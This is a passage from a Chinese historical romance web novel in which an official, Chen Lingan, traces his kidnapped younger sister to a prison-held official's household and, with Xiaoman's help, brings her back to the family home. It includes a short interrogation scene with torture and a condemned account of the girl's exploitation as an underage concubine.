“答谢宴?不去。”陈令安立刻拒绝,“谢来谢去的没意思。” “长辈请你,不去太失礼了,再说我哥也来,大家热热闹闹聚一聚,多好。” “我从不在外面吃饭。” “你怕我们给你下毒?” 陈令安语气一顿,“我不是这个意思。” “那你什么意思?” “我……” 该怎么说才好,以前倒没觉得有什么,现在一想要见蒋夫人,他竟开始紧张了! 就像面对一场严苛的考核,考题范围未知,结果不可预测。 这种感觉让他很不适应,本能地逃避。 小满一瞬不瞬盯着他,大有你不说出个所以然来,我就不放你走的意思。 陈令安额头泌出细细的汗。 他尽可以编个借口,公务繁忙,与他人有约,进宫当值等等。 可他不想再骗小满了。 初秋的风从她的方向缓缓吹过来,如山间清泉,如雨后丛林,清新单纯,沁人心扉。 陈令安感到心在胸膛里跳动。 他晃了下神,有多久,没有这种活着的感觉了? 恍惚中,袖子被人拉住轻轻晃了晃,“去嘛,我母亲很温柔和善的一个人。” 陈令安垂下眼眸,“好。” 或许是他该主动踏出一步的时候了。 第40章 略晚些时候, 小满和何平陈令安到了。 何平是个自来熟,一见蒋夫人就姨妈姨妈的叫,哄得蒋夫人笑个不停, 得知他参加明年春闱,就把书房摆着的什么端砚徽墨、宋纸贡笺、羊毫紫毫狼毫各式湖笔,一股脑塞给了何平。 把何平美得呲着牙花子直乐, 嘴皮子更溜了, 一会儿夸她把屋子布置得雅致有格调,一会儿捧着本书哇哇大叫。 小满白他一眼,“人来疯,安静点好不?” “这是《尔雅》单注宋蜀刻本!”何平激动得痛哭流涕,“极其罕见, 都以为在宋元战乱中毁了, 没想到在伯母这里还保存着。” 蒋夫人笑道:“原是我父亲的藏书, 我放书房装学问人的, 平时翻都不翻,倒糟蹋这书了, 你既喜欢就拿走吧。” 何平差点给她跪下:“娘, 你就是我的亲娘!” 蒋夫人捂着嘴乐不可支。 和呱噪的何平完全不一样,陈令安显得分外沉默, 除了刚进门时说了两句话,此后便一言不发,安静得仿佛没有这个人。 他一个人静静坐在窗前, 西照的阳光透过窗棂浸入室内,分散成氤氲的光柱,轻轻投射在他身上,给那略嫌苍白的肤色抹上一层淡金色的暖意。 小满偷偷地看着他, 又在他看过来之前飞快挪开视线。 陈令安端起杯子,挡住唇边的一抹笑意。 她大声和蒋夫人商议着今晚的菜色,时不时和何平拌两句嘴,偶尔被何平烦得上火,跳起来邦邦砸他两拳。何平连蹦带跳跑开,没挨半刻钟忍不住又招惹她。 不大的花厅吵吵闹闹的,有这两个人在,什么时候都不会冷场。 “发什么愣呐,小安安——”何平张开双臂扑过来。 陈令安的折扇抵住他的额头,慢慢推远,“与张家那几个亲兄妹相比,她跟你更像兄妹。” 何平不无得意,“血脉并不能说明什么,更重要的是臭味相投……啊不对,是意气相投,日近日亲。” 说话间,蒋夫人招呼他们吃饭。 因何平喜欢这里的糟鸭舌,蒋夫人特命人买了两斤回来,“家里的还没糟好,过三天你再来,我家的独门秘方,绝对比外头买的好吃。” 何平啃着鸭舌,“嗯嗯”直点头。 小满看陈令安盯着面前的盘子不动筷,轻轻推他一下,“每一道菜我都盯着,没有你不能吃的东西。吃呀,还要我帮你布菜不成?” “哦。”陈令安拿起筷子,夹了块油焖笋放入口中。 “怎么样?”蒋夫人殷切地看着他。 陈令安的嗓音微微发颤,“很好吃。” 小满敏锐察觉到他情绪的变化,浓浓的思念,还有无法诉说的悲伤。 “那就好。”蒋夫人如释重负地舒口气。 “说起来还是跟你母亲学的,那时候我们都没出阁,小姐妹们每次聚会,都会做点吃食带过去。她最拿手的就是油焖笋,我就跟着学了一二,只是味道终究比不上你母亲做的。” 陈令安深吸口气,声音恢复正常,“已经很好了,多谢蒋夫人。” 小满腮帮子鼓起来了:还蒋夫人蒋夫人的,真没劲! 陈令安瞥她一眼,“还有没有多余的,我可以带走一些吗?姨……姨妈。” “有,有,多着呢!”蒋夫人登时喜笑颜开,“听小满说,你家里没拾掇,灶台都是冷的。这不行,可以穿得孬,不能吃得孬。” “前阵子我搬家,整理出来好多伙房用的东西,我们人少,用不了那些个,干脆都给你吧。你什么时候休沐,咱们叫上帮佣收拾出来。” 陈令安想说不麻烦了,他不在家吃饭。然而小满嘴快,抢先道:“他明天休沐!” 何平双手一拍,“那就明天,我也来帮忙。” 蒋夫人起身喊锦绣:“把库房的清单拿过来,我看看短什么东西。方妈妈,趁着还没宵禁,你赶紧找人去,明天起早就干。” 小满跟着方妈妈碎碎念:“多找几个人,哎呀你们不知道,他住的地方那个荒凉,蒿草丛生,绿苔遍地,多好的宅子,太可惜了!” 何平手持纸笔围着蒋夫人团团转,“干娘你说我记。” 小满白他一眼:干娘都叫上了,真有你的。 何平:礼多人不怪~ 所有人都笑着,闹着,快乐的气氛充满整个屋子、院子,把陈令安都带出了笑意。 他慢慢收回僵在半空的手。 自家的宅子也确实该彻底打扫了,算了,随他们去吧。 第二天是个好天气,阳光明媚,空气清新,不冷也不热,正适合干活! 陈令安一开大门,就看到乌泱泱几乎站满半条巷子的一大群人,表情一瞬间凝固了。 “早。”小满扶着蒋夫人迈过门槛。 何平扛着一个大包紧随其后,“哎呦喂可沉死我了,让让,让让!” 然后是方妈妈、锦绣,不认识但是对他笑得很和善的人…… 陈令安呆滞片刻,问来干活的帮佣:“你们不怕我?” 大婶愣住,“咋的,你不想给钱?” “给。” “那为啥怕你?” “唔……你们不知道我是谁?” “只要你不克扣我们的工钱,不管你是谁,都是好人。” 陈令安愕然,随后摇摇头,自失一笑。 清爽的秋日底下,人们挥舞锄头除草,平整地面,修补院墙和屋顶,筑炉子砌灶台,将尘埃遍布的门窗回廊擦拭得干干净净,还有两三个半大的孩子跑来跑去端茶倒水。 小满何平因为东西摆放在哪儿争执不休,蒋夫人笑骂几句,又忙着指挥众人收拾书房去了。 沉寂已久的宅院再次热闹起来。 陈令安立在廊庑下,有些出神地看着忙碌又快乐的人们。 似乎……这样也不错。 太阳落山了,帮工的人们准备回家了。 工钱一天一结,蒋夫人让方妈妈拿钱,被陈令安拦住了。 见蒋夫人还要争,小满忙说:“他有钱,让他付,省得他不自在。” 旁边的何平凑过来嬉皮笑脸:“他面子薄,扭扭捏捏跟个害羞的小姑娘似的,不像我大大方方的讨人喜欢。” 小满笑他:“呸,你那叫厚脸皮!” “你不懂,”何平与她咬耳朵,“干娘是散财童子,手面宽喜欢给人东西,你收了她高兴,你不收,她会觉得尴尬。” 小满叹口气,眉宇间浮上一丝忿忿。 何平知道她定是想到张家那几个不知好歹的白眼狼了,阴险一笑:“我有个主意……” 小满眨眨眼,噗嗤笑出了声。 “又憋坏水儿呢。”伴着陈令安冷淡的声音,一串钥匙飞入小满怀中。 “这是?” 陈令安语气生硬:“我家的钥匙,最大的那把是大门的,以后找我别去北镇抚司,那地方阴气太重。” 也别傻乎乎一直在门口等着,下雨也不知道找地方躲。 小满怔楞了下,一点红晕从脸颊绽开,笑容越来越大,越来越灿烂,毫无做作,毫无顾忌,洋溢着飞扬和希望。 “笑得好傻。”陈令安扭过脸,不叫她看见自己眼中的笑意。 何平冲小满挑眉一笑,揶揄味十足:可算如你的愿喽。 小满脸上的红晕霎时漫延到眼里,回瞪一眼,作势要打。 待陈令安回过头来时,她方才的凶神恶煞顿时化为乌有,抿嘴含笑望过来的那一眼,当真是笑晕双靥,眼波流眄。 饶是夕照辉光灿烂炫目,也抵不过此刻她的一笑。 陈令安呆了呆。 小满被他瞧得不好意思了,“傻瓜!”提起裙角飞快跑了出去。 陈令安咳嗽一声,淡然地看向整理好的院落,却不知他的耳朵已成了桃红色。 何平笑声朗朗的,蒋夫人听见,隔着书房的窗子问他笑什么。 何平摇头晃脑:“此情此景,让我想起沈辽的诗句:女儿带镮著缦布,欢笑捉郎神作主,明年二月近社时,载酒牵牛看父母。” 小满不大明白,但看母亲笑而不语,陈令安又一副恼羞成怒的模样,就知道何平刚才说的准不是好话, 她顺手抄起块抹布扔过去。 兄妹俩打闹惯了,对彼此招数非常熟悉,何平就势向旁一躲。 啪! 抹布盖在刚进门的吴勇脑袋上。 小满倒吸口气,忙递巾子给他擦脸,“真对不住,我没看到你进来。” “不碍事。”吴勇胡乱擦擦,面色凝重,“我有急事禀报大人。” 陈令安快步走来,“这边说。” 待到四下无人的一处厢房,吴勇缓了缓,说:“大人之前抓住个人贩子,交给江宁县衙审问,那人为了减刑,交代了不少。” 陈令安记得这事,“审出什么来了?” 吴勇咽了口唾沫:“您妹妹……那人贩子听一个同伙吹嘘,说他在金陵城拐过公侯小姐,年龄和您妹妹差不多。” 陈令安霍地变了脸色,急冲冲往外走,“她在哪儿,现在怎么样?” 吴勇一溜小跑跟在他身后,“时间久远,线索太模糊,郑大人不确定是不是您妹妹,必须和您确认下细节,还在衙门等着大人。” “陈令安!”小满气喘吁吁跑过来,“叫你好几声也没听见,出什么事了,这么火急火燎的。” 吴勇暗暗叫声不好,现在是大人最焦躁的点上,这丫头偏一头撞进来,岂不挨几句难听的? “我……”陈令安接连深吸几口气,还是压不住声音里的颤抖,“我妹妹,我妹妹……” 单单几个字,小满已明白他的意思了,“我陪你去!” 陈令安点点头。 诶?诶诶诶?吴勇眼睛瞪得溜圆,好容易没让自己惊叫出声。 大人,好像哪里不一样了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 陈令安不准小满进刑房, 小满只得在旁边的小屋子里等着。 房内的墙壁是石砌的,上面有扇三寸见方的小暗窗,可以看到隔壁的情形。 哗啦啦的锁链声中, 人贩子被拖了上来。小满认得她,就是那次和陈令安一起看铺子时捉住的中年妇人。 那人贩子浑身都是鞭打的血痕,抖得缩成一团, 不等陈令安问, 就竹筒倒豆子吐了个干净。 西华门附近,乱成一团的大户人家,无人照看的小姑娘,四五岁的年纪…… 小满看见陈令安的手在发抖。 “那个拐子在哪儿,把人卖到哪里了?” “我不知道, 他没说, 我们这行的规矩也不能问。五年前财神庙散伙, 就再没见过他, 我也不知道他在哪儿,只记得是个外地人, 口音像是北边来的。” 陈令安不再问了, 直接拧断她一根手指。 人贩子惨叫着哭喊:“我真不知道啊——” 咔嚓,咔嚓, 第二根,第三根…… 陈令安似乎听不到她的求饶,只是专心地一寸寸碾碎她的骨头, 好像这比什么都来得有趣。 强烈的疼痛刺激下,人贩子还真的从犄角旮旯翻出点东西。 “我想起来了……有次别人骂他‘蜡烛胚’,他气坏了,说自己非要混出个人样来, 可能、可能是本地人。拜财神的时候,他自称庄、张,还是姜的,隔得远我没听清。 陈令安一脚踢在她脑壳上,人贩子哼也没哼一声昏死过去。 不用吩咐,吴勇拿着拐子的画像寻人去了。 小满推开房门,慢慢走到太阳地里。 陈令安也从刑房出来了,见到她不由一怔,下意识把手背在身后。 “打得好!”小满恨恨道,“人贩子就该打死,害多少人家破人亡痛不欲生!你那脚都踢轻了,要是我就拿刀剁了她,哼,打死都不解气。” 沉重的心情似乎好了一点,陈令安扯扯嘴角,想笑,却露出个比哭还难看的表情。 小满:“你晚上没吃东西,母亲让人送来了,吃点吧。” 陈令安摇摇头。 “我也没吃呢,就当陪我好不好?” 陈令安依旧没说话。 “不说话就是同意了。”小满轻轻拉住他的手指。 指尖冰凉。 一阵酸热翻搅着直往上顶,呛得小满鼻腔酸疼,眼睛也火辣辣的疼。 她的声音比暮风还要柔和,“都对上了,一定是她,你要保重好身体,好好保护妹妹,把这些年的缺失都补上,往后你就是她的依靠了。” 陈令安沉默地随她走到签押房后面的茶室。 小满打开食盒,一样一样摆开,红豆米粥,烧饼饽饽,六碟菜品,又将筷子放入他手中。 也不管有没有回应,小满一边替他布菜,一边絮絮叨叨。 天转凉了,该添置厚衣服了,炭火也要提早准备,哎呀,第一次在金陵过冬,也不知道冷不冷,会不会下雪,河水会不会结冰,能不能玩狗车…… 她往碗里放什么,他就吃什么,等小满再也找不出话题时,桌上菜肴已下去大半了。 陈令安从抽屉里摸出一个纸包递给她。 盐津梅子! 小满又惊又喜,悬着的心也放下几分。 “你别在这里耗着了,早点回去歇着。”他说,“我没事。” 小满握紧了手里的纸包,“那……我走了,有消息别忘了通知我。” 陈令安“嗯”了声。 夜幕四合,如一张大网沉沉压下来。 小满睁着眼睛睡不着,在床上翻来覆去长一声短一声的叹个不停,说不出为什么,她总有种不太好的预感。 第二天她还想找陈令安,蒋夫人劝她:“这段时间他肯定忙得不得了,你就别给他添乱了。” 小满只得作罢。 又等了半个月,还是没动静,小满按捺不住了,偷偷跑到北镇抚司门口。 门房见了她就笑,“姑娘里面请,我们大人料到你肯定会来,早吩咐过我们了。” 小满不由得生出几分窃喜。 可见到陈令安时,窃喜就变成了心疼。 他惊人的瘦,眼窝塌下去,腮帮子也没了肉,下巴尖了,眉骨和颧骨显得突出,胡子拉碴的,身上居然还穿着两人上次见面时的衣服。 “你……不会一直没有休息吧?” “还好。” 声音沙哑疲惫,像是在大漠行走许久没有喝水的濒死之人。 小满被自己的念头吓了一跳,慌忙倒水给他。 陈令安刚递到嘴边就一阵干呕,惊得小满又是捶背又是揉胸口,眼泪差点急出来。 “没事,过会儿就好。”陈令安摆摆手,“已经有线索了,估摸这两天就能抓到。你来得倒巧,我前脚刚进门,你后脚就到了。” 小满一把将他推倒,“你给我睡觉,人还没找到,你倒先垮了,叫你妹妹靠哪一个去!” 陈令安苦笑:“睡不着啊。” “睡不着也要睡。”小满不由分说,拿帕子盖在他脸上,“闭眼,什么也别想。” 帕子散发出清新的香气,那么好闻,就像……就像艳阳高照,原野上洋溢着木叶的清香,微风送来远处不知名野花的幽香,还有艾草淡淡的草药香。 莫名让人宁静。 轻微的鼾声从手帕下传出来。 小满放轻呼吸,安安静静守在他旁边。 午后的阳光照进屋子,两人的影子被拉长,渐渐重叠了。 门口传来一声轻响,吴勇露了下头, 小满蹑手蹑脚走出来,“他刚睡着,着急吗?” 吴勇犹豫,“算了,等大人睡醒再说吧,反正人也跑不了,他都五六天没合过眼了。” 屋里却响起陈令安的声音:“吴勇?进来。” 吴勇看看小满,无奈叹了声。 抓住拐子了。 因为是从陈家巷附近拐来的,陈小妹穿戴精致,又漂亮得像个瓷娃娃,拐子印象极为深刻,连卖给谁都记得清清楚楚。 “拐子原打算卖远些,还没联系好买主,就被一个贵妇人看中,买去做了丫鬟。我们查了官府留底的红契,应落在城南赵家,现在是刑部员外郎赵橧的……通房。” 说到最后两个字的时候,吴勇声音几不可闻。 陈令安满脸寒气,阴郁得可怕,“上个月刑部抓的那几个是不是有叫赵橧的?” “是,他弹劾过大人,骂得很难听,咱们处理涉嫌诈尸夺产案时,顺便把他也抓了。”吴勇硬着头皮继续道,“据说,赵橧非常疼爱她,几乎到了寸步不离的地步,两人的感情特别好。” “疼爱?”陈令安听到天大笑话般大笑一声,随即暴跳如雷,“我妹妹才十四,十四!狗娘养的,我杀了他!” 吴勇急忙抱住他,“大人别冲动!想想她和那个畜生感情深,还是和你感情深!” 陈令安身形猛地一顿。 小满极力拉住他紧握刀柄的手,“至少你得看一眼,确认是不是她。” 吴勇忙点头,“对对,如果不是,咱就一刀咔嚓了那畜生,如果是,咱得从长计议。” 陈令安的胳膊慢慢松懈下来,“如果是,我也照样杀他。” “杀杀杀。”吴勇吁口气,“咱们这就去赵家?” 陈令安强行压制着烦乱的情绪,“会吓到她,给赵家透个信,允许家人探监。” 吴勇:“万一来的是他妻子怎么办?” 陈令安目光陡地一闪,声音变得阴寒:“那就让碍眼的人不能来好了。”- 这天从早上就看不见太阳,浓密的乌云低低压在人们的头顶,似乎下一刻天就要塌了。 凉风卷着浮尘,在墙角打着一个又一个的旋儿,将隐在暗影中的袍角高高扬起。 陈令安目不转睛盯着紧闭的铁门,攥着拳头,呼吸轻微且急促,头上也是密密的细汗。 小满担心地望着他,想安慰他几句,可这个时候说什么都显得多余。 胡思乱想中,铁门嘎吱吱开了,衙役领着一个小姑娘走进来。 小满屏住呼吸。 小姑娘个头不高,瘦瘦弱弱的,怀里紧紧抱着大包袱,走起路来有点吃力。 天光暗淡,她的模样也模糊得很。 渐渐的,她走近了,陈令安特意叫人点亮的灯笼映出她的脸。 小满睁大了眼睛。 瓜子脸,秀秀气气的眉毛,挺翘的鼻子,眼睛很好看,大而圆,眼尾微微上挑,小鹿似的纯净。 只是耸肩驼背,满脸的惊慌畏惧,让本来漂亮的小姑娘变得有几分普通了。 和陈令安长得不大像,应该不是她。 小满轻轻吁口气,抬头看向陈令安。 陈令安也向她看了过来,笑了声,“不用再查证了,是她……是她……和我娘长得一模一样。” 笑容支离破碎。 小满只觉脑袋轰的一声,心像被蝎子蜇了下,疼得她几乎喘不上气,她张开嘴,想哭,想喊,可一声也发不出。 她怔怔望着陈令安,伸出手,抱住了他。 眼泪流下来,落在他的胸口。 陈令安慢慢把头垂了下来,“你怎么哭了,这是好事啊,我找到妹妹了,你该替我高兴。” 小满眼泪流得更凶。 对呀,明明是高兴的事,为什么心里这么难受? “好了,陪我去见妹妹吧。”陈令安笑着问,“你说,我该以什么身份见她?” 第42章 阴暗的地下甬道充斥着腐烂潮湿的霉味, 小满轻轻掩住口鼻,还是挡不住那股味往鼻子里钻。 模糊的暗影中只能看到陈令安的侧影。 他终究没有勇气直接与妹妹相认。 赵橧弹劾过陈令安,可见对他憎恶之深, 在赵家长大的小妹妹,耳濡目染下又会对陈令安有什么好印象! 小满轻轻叹息一声,这样躲在暗处偷听, 听到的恐怕也不是陈令安想听到的。 她明白, 他肯定也明白,无非是揣着那么一点渺茫的希望罢了。 “走到头就是。”伴着狱卒粗声粗气的话音,一道纤细的人影出现在甬道那头。 烛光摇曳,她的影子在微光中颤抖。 脚步停下了,她朝牢里看看, “老、老爷?” 哗啦啦的锁链声中, 赵橧扑过来, “梅香?梅香!” 小满听见陈令安的牙齿咬得格格响。 烛光下映出一张男人的脸, 三十多岁,中等身材, 有些浮肿的脸, 眼圈很重,胡子拉碴, 许是蹲大牢的缘故,整个人看起来十分邋遢。 梅香却自然而然流出崇敬而痛惜的神情。 “老爷,你怎么样, 有没有受刑……”她呜咽得几乎说不出话。 “别哭,别哭,你一哭我心都要碎了。家里人怎么样,我突然被抓, 老太太定急坏了吧。” “老太太病得厉害,太太去了趟陈家,回来时愁眉不展,和老太太关起门来说了一宿的话,不让人在跟前伺候着。” 赵橧颓然叹息:“没用的,可恨奸贼借诈尸夺产案栽赃我营私舞弊,惹得皇上大怒,阁老也没法替我说话。我这条命,大概要交代在诏狱了。” “不会,不会!” “我不惧死,若一死能激起朝野上下对奸贼义愤,也死得其所了。我在德和钱庄用你的名义存了一千两银子,这是给你的傍身银子,谁也不知道,我死了,你就……你就找个好人家嫁了。” “不,我不走,老太太、老爷待我恩重如山,我是赵家的人,死是赵家的鬼!”梅香下气泣声说着。 赵橧轻轻抚着她的脸,“何苦来,你还小,没必要替我守着。” “老爷,有个好消息告诉你。”梅香擦擦眼泪,捧起赵橧的手覆在自己的小腹上,努力挤出个笑容,“我有了。” 小满脑子一炸,立即去看陈令安。 他浑身都在颤抖,冷凝的空气变得暴跳如雷,咆哮着,呼号着,就要掀起一场大风暴。 赵橧已经激动得无语轮次了,不停叮嘱梅香好好保重身子,千万不要委屈自己,想吃什么用什么尽管和太太说。 说着说着又潸然泪下,“可惜我不能看到这个孩子出世了,等以后……每年祭日来看看我,便已足矣。” 梅香同样哭得不能自己,“老爷的话我都记下了,我一定会好好养大他,告诉他,爹爹是忠臣,是被坏人害死的,要记住仇人的名字,长大了给爹爹报仇!” 陈令安蓦地冲了出去,小满阻止不及,但见他一脚踹在铁栅门上,吓得赵橧梅香俱是猛烈一颤。 他攥着梅香的胳膊就往外走,甬道里登时响起女孩子惊恐的叫声。 赵橧又惊又怒:“陈令安,有种冲我来,冲女人下手算什么男人!梅香,梅香——” 陈令安停住脚步,声音冰冷似水,锋利如刀,“她叫砚宁,陈、砚、宁!” 小满隔着牢门重重一拳砸在赵橧脸上,“去你奶奶个纂儿!知道她小还让她怀孩子,你的深情真叫人恶心!” 陈砚宁被吓坏了,直到被带出地牢,坐在小书房里,还是止不住地发抖,根本不敢看陈令安一眼。 怕妹妹消失似的,陈令安紧紧抓着砚宁的手腕,几次欲言又止,却始终不知道怎样开口。 那种带着期盼的沮丧,几乎将他压垮。 窗外的天空阴沉得可怕,隐隐听见远处的滚雷声,扑面而来的风已有浓重的雨腥味了。 小满在书桌上铺开一张纸,接着看向陈令安,“妹妹的名字怎么写?” 陈令安松开手,默不作声走到桌前,提笔写下“砚宁”二字。 “砚宁……”小满把那张纸轻轻放在陈砚宁面前,“真好听,一看就知道是用心取的名字。” 陈砚宁茫然看看她,下意识拿起写着名字的那张纸——却拿倒了。 不识字? 小满和陈令安同时愣住。 小满反应快,一把摁住要爆发的陈令安,使劲掐他胳膊一把,“可以慢慢教,往后日子长着呢,控制下脾气,妹妹可再经不起惊吓了!” 陈令安重重呼出口浊气,背过身,狠狠揉了把眼睛。 小满不经意地拿过陈砚宁手中的纸,十分自然地摆正,“砚台的砚,安宁的宁,名字有什么寓意吗?陈令安,给我讲讲。” 陈令安沉默片刻,缓声道:“我父亲字墨池,母亲小字望舒,从二人的字中各取其意,砚池映明月,宁安伴岁长,便是‘砚宁’。” “真好啊。”小满赞叹一声,“有书香世家的文墨底蕴,又含着父母对女儿深切的祝福,真是个好名字,可比随便起的满大街奴婢都叫的梅香好多了!砚宁,你爹娘不知道多疼爱你呢!” “我爹娘?”陈砚宁喃喃,大大的眼睛逐渐蒙上一层水雾。 “你还记不记得小时候的事?” 陈砚宁摇摇头。 小满努力回忆陈宅的样子,“很大,树很多,书房前有一大片竹林,引了一条小溪从中穿过,水边有石桌石凳,桌上刻着棋盘。” 陈砚宁神情有些恍惚。 “娘亲在正院种下三棵树,大哥是松树,我是梧桐,你是杨柳,你最粘我,最喜欢我背着你在树荫里跑。有一次我把你摔了,你的右手心被碎石划了道大口子,很深很深,血一直流,我吓坏了,爹爹要揍我,你一边哭一边拦着爹爹不叫打……” 陈令安沉浸在过去的回忆中,语调凄凉沉重,似哭似笑,让人心里发酸。 陈砚宁看着自己的右手,脸色苍白得可怕。 小满捧起她的手,只见手掌有一道淡淡的细细的白色伤疤,横在天纹起端,恰好将天纹截成两段。 “是了,是了!你记得吧,你一定记得!”小满紧紧握着她的手,“你是陈家的孩子,陈缙你知道的吧,你是他的亲闺女,陈令安是你亲二哥!” “不,不……”陈砚宁好像一只受惊的小鸟颤个不停,她往回缩手,可小满使劲抓着就是不松劲。 “我知道你一时难以接受,我理解这种感觉,我和你一样,也是从小被人拐了。不,比你更小,你五岁,我丢的时候才两岁。” 小满警告般瞪了陈令安一眼:边上歇着,让我来! 几乎再次暴起的陈令安板着脸,乖乖坐了回去。 果然,一听说小满也是被拐卖的孩子,陈砚宁安静了下来,眼中现出同情和悲悯。 小满鼻子又是一酸,这么好的女孩子,赵橧真下得去手祸害! “当初张家人找来时,我都是懵的。”小满起身,拉着她慢慢往外走,“我被拐的时候太小了,那才是什么都不记得,哪怕回了张家,还是没有一丁点印象。” 看陈令安还呆坐着,小满又是一记眼刀:傻子,快去备车。 “你大概听过我的大名,哈哈,怂恿嫡母和离,把父亲送进大牢,和张家断亲的不孝女、孽障张小满。” 她嘻嘻哈哈开着自己的玩笑。 陈砚宁怔楞了会儿,很不好意思地说:“我没听说过,家里基本不和我说外面的事。你好不容易找到家,为什么要断亲?” “你平时在家里都做些什么?”小满不答反问。 “干活啊,洗衣服做饭,打扫庭院屋子什么的,伺候老太太和太太,做老太太、太太和老爷的针线。” “一点空闲都没有?” “老太爷故去后,家里生计不如从前,减了好些个丫鬟婆子。而且我本就该多干,老太太说,买我足足花了五百两银子,其他丫鬟最多几两十几两。要不是老太太重金救下我,我就要被卖到脏地方去了。” 背后阴寒的杀气腾地升起,小满在心底叹息一声,又问:“你喜欢吃什么,玩什么,一会儿咱们去逛逛。” 陈砚宁:“没什么喜欢的,我没出过门,老太太、太太还在等我……我要回去了。” 小满吃了一惊:“没出过门?从你到赵家至今都没出过门?” 陈砚宁轻轻摇摇头,“老太太说大门不出二门不迈才是正经的女子,这是我第一次出内院,第一次出门。” 小满气笑了,“胡扯,她就没出过门?赵橧他老婆就没出过门?” “我怎能和老太太、太太比,她们是主子,我是奴婢。” “你不是奴婢,你是陈家的掌上明珠,是陈令安亲妹妹,是正儿八经的世家贵女,可容不得赵家这样糟蹋!” 陈砚宁不由向后看了看,可一碰到陈令安的目光,就是浑身一哆嗦。 小满忙道:“传言都是假的,别听赵家胡说八道,别看你哥总冷着脸,其实人可好啦!说他不好的都是别有用心的坏蛋——你只需牢牢记住这点就行。” 陈砚宁没说好,也没说不好,只深深低着头。 小满将她扶上马车。 家里的轿子她不够资格坐,来时坐的小轿是雇的,因是诏狱,轿夫嫌晦气,看在多加钱的份上才来,却是放下她就走了。 她正愁怎么回去。 陈砚宁真心实意道谢:“谢谢你送我回家。” “不谢!”小满抿嘴一笑,随即冲陈令安使个眼色,“愣着干嘛,没听妹妹说要回家!” 陈令安立刻心领神会。 起风了,阵阵凉风捎来细细雨丝,如烟似雾的湿气笼罩着街巷。 小满轻声细语说起陈家的事情,从陈父自尽以证清白,陈母随丈夫而去,大哥如何惨死,到陈令安发誓要洗清父亲的冤屈…… 具体情况她也是一知半解,但从今日初见,她已看出来陈砚宁是个善良心软的女孩子,处处以别人为先,柔顺得近乎没有自己的见解,轻易就会被人牵着鼻子走。 所以她在陈令安身上加了很多悲惨的故事,诸如如何挣扎求生,如何忍辱负重默默调查当年真相,更是重点描述他如何帮方妈妈洗清冤屈。 总之怎么惨怎么说。 小满讲完了,看着垂眸不语的陈砚宁,她没有再开口。 到处静悄悄的,只有马蹄敲在石板上的丁丁声。 沉寂中,陈砚宁轻轻抽泣了声。 小满心中大定。 马车轻轻一晃,停下了。 小满率先跳下马车,笑嘻嘻道:“到家啦!” 陈砚宁细声细气说:“老太太病着,太太也不得空闲,今儿先不回禀我的身世了,改日,改日……” 她看着眼前的陈宅一怔,“这不是我家。” “这才是你家。”小满笑道,“快下来,我举车帘举得胳膊都酸了。” “呀,对不住。”陈砚宁急急忙忙往下跳,都没看到脚下的马凳,要不是陈令安一把抱住,肯定会崴脚。 小满现在已摸透了她的脾气,赶紧用轻松欢快的语气缓解她的抗拒和尴尬:“不愧是亲兄妹,换别人根本注意不到,就是注意到也做不到。” 说着一捅咕陈砚宁,“在赵家可没人这么关心你吧。” 陈砚宁想说有的,虽然老太太严厉,太太冷淡,但老爷对她还是蛮好的。 小满像看穿了她要说的话,讥诮一笑,什么都没说,却让陈砚宁脸皮发烫了。 细细想来,老爷对她的好,都是在二人独处的时候,从来不会在人前对她有任何的偏护。 不过她还是不想他们说老爷的坏话,“我是老爷的通房丫鬟,连侍妾都算不上,老爷如果维护我的话,就乱了纲常尊卑了。” 陈令安忍着怒气冷冷道:“你还没及笄,他要是有半点人性,就不会收你当通房!” 陈砚宁怕他,不敢言语,因悄悄问小满:“不及笄就不能伺候老爷吗?” 小满还是个未出阁的姑娘,听这话也不禁脸皮一红,随即正色道:“收养我的阿婆说过,女子不能太早出嫁,身子骨还没长成呢,至少要十六岁以后。我问你,赵橧太太几岁嫁进赵家的?” 陈砚宁又是一怔,好像是……十九岁。 小满又问:“除了正妻,赵橧只你一个?有没有别的妾室通房,她们都多大?” 老爷一妻四妾,除她之外,还有两个通房,她是最小的。 她嚅动下嘴唇:“老太太说,老爷是太喜欢我了,才……” “听她放屁!”小满翻个白眼,“真喜欢一个人,怎舍得她为妾为奴?你爹爹只你娘一个,我姨夫平阳侯世子也只姨妈一个,教我的林亭先生也只林姨一个,他们只有彼此,那才是真喜欢!” 这样的话陈砚宁头一次听到,不禁呆住了。 凉风阵阵,细雨密密,三人的头发衣服都潮乎乎的。 小满赶紧拉着陈砚宁进二门,直冲正房大院,“你记得这里不,这是你爹爹娘亲住的院子,喏,这就是你哥说的三棵树。” 得益于蒋夫人,正院收拾得干干净净,摆设还是原先的摆设,也保持着之前的位置。 看到庭前三课树的那一瞬间,陈砚宁身形晃了晃。 “倒、倒了一棵。”她抚摸着倒下的松树,声音发涩。 小满和陈令安立在廊下,谁也没说话,默默望着徘徊庭前的陈砚宁。 她看看树,在树下的残缺的石桌前站了会儿,推开东厢房的门,在小床上坐了坐,拿起藤球晃晃,听见银铃清脆的响声不禁笑了。 接着去了正房。 她坐在窗前的罗汉床上发愣,一句话也不说,珠泪儿断断连连。她用手捂住脸,肩膀抽动得厉害,哭也不放声哭,只有大颗大颗的泪水,从指缝间不断落下。 “我娘在窗前做针线的时候,她就在旁边玩。她想起来了,她没忘……” 陈令安再也忍不住了,背过身伏在廊柱上,整个人颤抖得厉害,看得出心里极度难受,只是硬挺着不肯宣泄。 此刻任何安慰的话都是苍白的,小满悄悄退出正院,叮嘱车夫几句话,打发他回去找蒋夫人。 天低云暗,雨丝愈发细密,小满双手合十,站在院子里仰望天空反复祈祷:让风雨来得更猛烈些吧! 厨房是新修好的,有米有柴有酱醋,还有几样新鲜的果蔬,小满烧好开水,洗好鲜果,又从柜子里找出几样点心——这就是蒋夫人的细心之处了,不管陈令安有没有心思用,每日都送吃食过来。 收拾停当,她提着食盒来到正房。 兄妹俩和她离开时一样,一个屋里一个屋外,一个低头看地一个抬头望天。 竟没有一点进展! 小满暗恨陈令安不争气,快步进屋,招呼陈砚宁喝茶,“不知道你喜欢什么茶,我泡了蒙山雀舌和顾渚紫笋,一样一壶,你都尝尝。” 陈砚宁唬了一跳,这两样都是贡茶,价格昂贵,只有招待贵客的时候,老太太才舍得拿点子出来。 给她喝简直太浪费了,忙摆手,“我喝白水就好。” 小满凑到她身边咬耳朵,“以前想吃陈令安一点茶可难了,今儿沾你的光,好歹叫我尝尝这茶是什么滋味儿。” 这样啊,如她不喝,小满姑娘也没法喝了。 陈砚宁乖巧地点点头。 又看桌上摆开四干四鲜四点心两咸酸,有她认识的,有她不认识的,林林总总一桌子,不由有些发怔。 